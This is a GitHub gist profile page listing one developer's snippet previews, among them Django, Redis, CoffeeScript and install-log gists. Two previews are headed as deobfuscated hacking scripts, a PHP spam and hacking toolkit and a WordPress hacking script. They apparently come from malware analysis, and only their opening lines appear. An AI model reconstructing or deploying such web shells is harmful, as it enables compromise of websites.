Skip to content

Instantly share code, notes, and snippets.

View tclancy's full-sized avatar

Tom Clancy tclancy

View GitHub Profile
@tclancy
tclancy / Ecobee API
Created August 3, 2013 21:29
Working on an API for Ecobee
import datetime
import requests
from django.utils import simplejson
class EcobeeAPI(object):
def __init__(self, access_token, thermostat_ids):
self.api_url = 'https://api.ecobee.com/%s?format=json&body=%s'
self.access_token = access_token
@tclancy
tclancy / Coffeescript compiling
Created September 3, 2013 21:02
Coffeescript compiling
coffee -c path/to/file/or/dir
you can also set up a watch so that it compiles whenever you save: coffee -wc path/to/file/or/dir
@tclancy
tclancy / wtf
Last active December 24, 2015 00:49
Coffeescript/ JavaScript reduce() initial value confuses me. Documentation: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce
coffee> values = [2, 4, 4, 4, 5, 5, 7, 9]
[ 2,
4,
4,
4,
5,
5,
7,
9 ]
# lack of an initial value doesn't matter here?
#!/usr/bin/env ruby
require 'rubygems'
require 'daemons'
Daemons.run('postgresql_agent.rb')
@tclancy
tclancy / installredis
Last active December 31, 2015 04:09
Updating Vagrant Box's Redis
#! /bin/bash
mkdir ~/sources
cd ~/sources
sudo apt-get install tcl8.5
wget http://download.redis.io/redis-stable.tar.gz
tar xvzf redis-stable.tar.gz
cd redis-stable
sudo make && make test
sudo cp src/redis-server /usr/local/bin
sudo cp src/redis-cli /usr/local/bin
@tclancy
tclancy / gist:8289474
Created January 6, 2014 20:38
Komodo Error Log
[2014-01-06 15:35:28,141] [WARNING] root: ko.findresults was already loaded, re-creating it.
[2014-01-06 15:35:28,191] [WARNING] root: DEPRECATED: log, use ko.logging.getLogger('')
[anonymous]@chrome://komodo/content/project/projectManager.js:1875
[2014-01-06 15:35:28,193] [WARNING] root: Can't call ko.places.getFocusedPlacesView:
TypeError: ko.places.getFocusedPlacesView is not a function
[2014-01-06 15:35:28,194] [WARNING] root: Can't call ko.places.getFocusedPlacesView:
TypeError: ko.places.getFocusedPlacesView is not a function
@tclancy
tclancy / expire_all_sessions.py
Last active May 9, 2022 12:07 — forked from playpauseandstop/gist:1818351
Django management command to expire all sessions
import datetime
from django.conf import settings
from django.contrib.auth import logout
from django.contrib.auth.models import User
from django.contrib.sessions.models import Session
from django.core.management.base import NoArgsCommand
from django.http import HttpRequest
from django.utils.importlib import import_module
INSTALL
tom@Thomass-MacBook-Pro ~ $ HOMEBREW_MAKE_JOBS=1 brew install -v wxmac 2>&1
==> Downloading https://downloads.sf.net/project/machomebrew/Bottles/wxmac-3.0.0.mavericks.bottle.1.tar.gz
Already downloaded: /Library/Caches/Homebrew/wxmac-3.0.0.mavericks.bottle.1.tar.gz
==> Verifying wxmac-3.0.0.mavericks.bottle.1.tar.gz checksum
==> Pouring wxmac-3.0.0.mavericks.bottle.1.tar.gz
tar xf /Library/Caches/Homebrew/wxmac-3.0.0.mavericks.bottle.1.tar.gz
==> Finishing up
ln -s ../Cellar/wxmac/3.0.0/bin/wxrc-3.0 wxrc-3.0
@tclancy
tclancy / BoFF.php
Created May 16, 2014 13:14
Deobfuscated spammer/ hacking toolkit (BoFF.php)
<?php
$uselogin = 1;
$user = 'sfnsaw';
$pass = 'mium';
if($_POST['id']== 'logout')
{
Logout();
}
if($_POST['id'] == 100)
{
@tclancy
tclancy / kace.php
Created May 16, 2014 13:16
Deobfuscated Wordpress hacking script (kace.php)
<?php
$ {
"GLOBALS"
}
["urgtxxu"]="password";
$ {
"GLOBALS"
}
["tmwmkkbdjy"]="data";
$ {